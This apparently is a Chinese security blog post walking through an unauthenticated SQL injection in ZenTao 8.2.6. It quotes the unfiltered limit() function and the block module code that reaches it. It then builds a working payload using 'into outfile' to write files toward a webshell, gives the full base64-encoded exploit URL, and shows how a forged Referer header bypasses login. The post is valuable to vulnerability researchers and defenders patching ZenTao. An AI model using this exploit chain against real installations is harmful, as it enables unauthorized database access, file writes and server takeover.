> 上一篇文章,SQL注入由orderBy($order)函数过滤不严格导致。但是,这个函数对传进的参数进行了一系列过滤,导致getshell的条件比较苛刻。不甘心,于是乎找了一个比较好利用的地方。我只是以这个模块的一个函数为例,其它未提到的地方仍然很有可能存在注入。

一、问题的根源

> 问题出现在limit($limit)函数,它对传进的参数没有经过任何过滤就直接拼接成SQL语句进行查询。

// D:\wamp\www\zentao826\lib\base\dao\dao.class.php
public function limit($limit)
{
    if($this->inCondition and !$this->conditionIsTrue) return $this;
    if(empty($limit)) return $this;
    stripos($limit, 'limit') !== false ? $this->sql .= " $limit " : $this->sql .= ' ' . DAO::LIMIT . " $limit ";
    return $this;
}
二、利用点

> 把这个函数在控制器文件中搜索了一下,->limit($只出现在了module\block\control.php中,。这个模块中只有main()函数是最重要的函数,其它函数都是通过传参进行回调的。直接切入重点吧

// 288行
public function main($module = '', $id = 0)
{
    // 代码省略
    $mode = strtolower($this->get->mode);
    if($mode == 'getblocklist')
    {   
        // 代码省略
    }   
    elseif($mode == 'getblockdata')
    {   // 需要base64编码
        $code = strtolower($this->get->blockid);

        $params = $this->get->param;
        $params = json_decode(base64_decode($params));      // 这里需要编码
        // 代码省略
        $this->viewType   = (isset($params->viewType) and $params->viewType == 'json') ? 'json' : 'html';
        $this->params     = $params;
        $this->view->code = $this->get->blockid;

        $func = 'print' . ucfirst($code) . 'Block';
        if(method_exists('block', $func))
        {
            $this->$func($module);       // 在这里进行了动态调用
        }
        else
        {
            $this->view->data = $this->block->$func($module, $params);
        }
        // 代码省略
    }
}

> 假设,我们想调用printCaseBlock()函数,那么传递进去的参数就应该是mode=getblockdatablockid=case、以及编码后的param

// 444行
public function printCaseBlock()
{
    $this->session->set('caseList', $this->server->http_referer);
    $this->app->loadLang('testcase');
    $this->app->loadLang('testtask');
    $cases = array();
    var_dump($this->params);
    if($this->params->type == 'assigntome')
    {
        $cases = $this->dao->select('t1.assignedTo AS assignedTo, t2.*')->from(TABLE_TESTRUN)->alias('t1')
            ->leftJoin(TABLE_CASE)->alias('t2')->on('t1.case = t2.id')
            ->leftJoin(TABLE_TESTTASK)->alias('t3')->on('t1.task = t3.id')
            ->Where('t1.assignedTo')->eq($this->app->user->account)
            ->andWhere('t1.status')->ne('done')
            ->andWhere('t3.status')->ne('done')
            ->andWhere('t3.deleted')->eq(0)
            ->andWhere('t2.deleted')->eq(0)
            ->orderBy($this->params->orderBy)
            ->beginIF($this->viewType != 'json')->limit($this->params->num)->fi()
            ->fetchAll();
    }
    elseif($this->params->type == 'openedbyme')
    {
        $cases = $this->dao->findByOpenedBy($this->app->user->account)->from(TABLE_CASE)
            ->andWhere('deleted')->eq(0)
            ->orderBy($this->params->orderBy)
            ->beginIF($this->viewType != 'json')->limit($this->params->num)->fi()
            ->fetchAll();
    }
    $this->view->cases    = $cases;
}

> 第一个里面的看起来麻烦多了 ,我决定构造payload进入第二个分支。构造出来的语句如下:

{"orderBy":"order","num":"1 into outfile 'd:/123'","type":"openedbyme"}

> 最后的payload就应该是,这里只是以写文件为例,因为这个系统采取的PDO,因此可以多语句执行的。

http://zentao826.me/block-main.html?mode=getblockdata&blockid=case¶m=eyJvcmRlckJ5Ijoib3JkZXIiLCJudW0iOiIxIGludG8gb3V0ZmlsZSAnZDovMTIzJyIsInR5cGUiOiJvcGVuZWRieW1lIn0

条件限制:

条件限制:

三、更深入一步

> 当时我在想,这个地方好像是没有限制权限的,能不能绕过登录直接进行注入呢?后来发现,果然是可以的,这样的话,这个漏洞就绝对不鸡肋

// 22行,构造函数
public function __construct($moduleName = '', $methodName = '')
{
    parent::__construct($moduleName, $methodName);
    /* Mark the call from zentao or ranzhi. */
    $this->selfCall = strpos($this->server->http_referer, common::getSysURL()) === 0 || $this->session->blockModule;
    if($this->methodName != 'admin' and $this->methodName != 'dashboard' and !$this->selfCall and !$this->loadModel('sso')->checkKey()) die('');
}

> 这个地方,它应该是提供给然之或者禅道的一个接口,如果不满足第二个条件,那么就die('')。我看了看,除了$this->selfCall以及!$this->loadModel('sso')->checkKey()单点登录校验,其它对于我们注入是无用的,但是单点登录的key我们是无法构造的,因此焦点就落在了$this->selfCall上了。$this->server->http_refererHTTP请求头中的referer字段。因此在未登录的状态下,增加一个头字段:referer:example.com即可绕过登录进行注入

源链接

Hacking more

...